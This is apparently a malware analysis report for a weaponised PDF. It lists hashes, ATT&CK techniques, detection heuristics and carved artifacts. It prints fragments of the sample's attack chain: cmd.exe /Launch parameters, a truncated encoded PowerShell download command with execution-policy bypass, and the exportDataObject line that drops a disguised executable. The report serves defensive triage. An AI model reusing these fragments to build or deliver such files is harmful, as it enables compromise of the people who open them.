Malicious PDF — malware analysis report

Static analysis result for SHA-256 baf64ea3e9cfea17…

MALICIOUS

PDF

4.0 KB First seen: 2026-05-28
MD5: bec834e6b682a89a706f602de8c0fa29 SHA-1: d65ae0ecb95f4b139f1515287c3afca740c67019 SHA-256: baf64ea3e9cfea179f69a31ce6d77e47a0dc74f212d7cc9376161347a90ad95f
614 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript T1059.001 PowerShell T1105 Ingress Tool Transfer

This PDF file contains embedded JavaScript that leverages a launch action to execute cmd.exe. The script attempts to download and execute a second-stage payload, indicated by the 'PowerShell download cradle' heuristic and the embedded PE payload. The embedded artifact is named 'template.pdf' but is detected as a Windows executable by ClamAV, suggesting a clear attempt at deception.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • Adobe Reader Launch action command execution critical CVE exact CVE_2010_1240
    PDF uses the Adobe Reader/Acrobat Launch action pattern associated with CVE-2010-1240: cmd.exe is invoked with attacker-controlled parameters, paired with an embedded/exported payload.
  • ClamAV: Pdf.Tool.Agent-1388586 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Tool.Agent-1388586
  • Launch action critical PDF_LAUNCH
    PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
  • Embedded Windows executable payload in PDF stream critical PDF_EMBEDDED_PE_PAYLOAD
    PDF stream bytes contain an embedded Windows executable with a verified PE header. Exploit chains often hide droppers inside ordinary streams rather than standard /EmbeddedFile attachments.
  • /Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\template.pdf" (cd "Desktop"' — references a known-dangerous executable (cmd, PowerShell, etc.).
  • Embedded attachment masquerades: declared document, content is windows-executable critical PDF_EMBEDDED_FILESPEC_CONTENT_MISMATCH
    An /EmbeddedFile attachment's declared filename extension or /Subtype MIME type contradicts the magic bytes of its decompressed content. The attachment is declared as a benign document or image but the bytes are an executable or executable-bearing archive. This is a deliberate deception used to hide droppers in PDF attachments and is a generic indicator of embed-and-drop weaponisation, independent of any specific CVE.
  • PowerShell download cradle in PDF action body critical PDF_PS_DOWNLOAD_CRADLE
    PDF contains a PowerShell download-and-execute cradle (IEX/Invoke-Expression of a remote payload, [Net.WebClient]/[Net.ServicePointManager], or `-ep Bypass -enc <base64>`). These strings are rare in benign PDFs and are strong evidence of payload staging in an attack chain (MITRE T1059.001 + T1105).
  • /Launch action paired with attachment-dropping JS API high PDF_LAUNCH_PLUS_DROPPER_JS
    PDF combines a /Launch action with a JavaScript API call that writes or opens an attached/external resource — the canonical shape of the CVE-2010-1240 /Launch + exportDataObject family. Benign PDFs do not pair these surfaces; the combination indicates a drop-and-execute chain regardless of the specific JS API knobs or /Launch target.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
template.pdf pdf-embedded-file PDF EmbeddedFile object 8 at offset 0x3B2 9728 bytes
SHA-256: 36190c0d4120e6c756c3d95e1ea72b279857f487a1fdce2cfaa8cdc93da1d681
Detection
ClamAV: Win.Trojan.MSShellcode-7
Obfuscation or payload: likely
actual_type=PE; declared_or_context_type=PDF; filename=template.pdf; kind=pdf-embedded-file Static shellcode analysis found candidate code region(s). Indicators: SC_STR_VIRTUALPROTECT, SC_MSF_REVERSE, SC_STR_POWERSHELL Static shellcode analysis recovered API/import strings: kernel32.dll, KERNEL32.DLL, VirtualProtect Static shellcode analysis recovered command string(s): powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedComma, powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAkAHUAcgBsACAAPQAgACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAyAC8AbQBhAGwAdwBhAHIAZQA Carved artifact contains a PowerShell -EncodedCommand style payload.
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0xB2E 57 bytes
SHA-256: bc1d5cdfa608238e3cd965aa51949d02f8ab713463ea0beb61ec928b121788d1
Preview script
First 1,000 lines of the extracted script
this.exportDataObject({ cName: "template", nLaunch: 0 });

Open this report in the interactive analyzer, or submit your own file for analysis.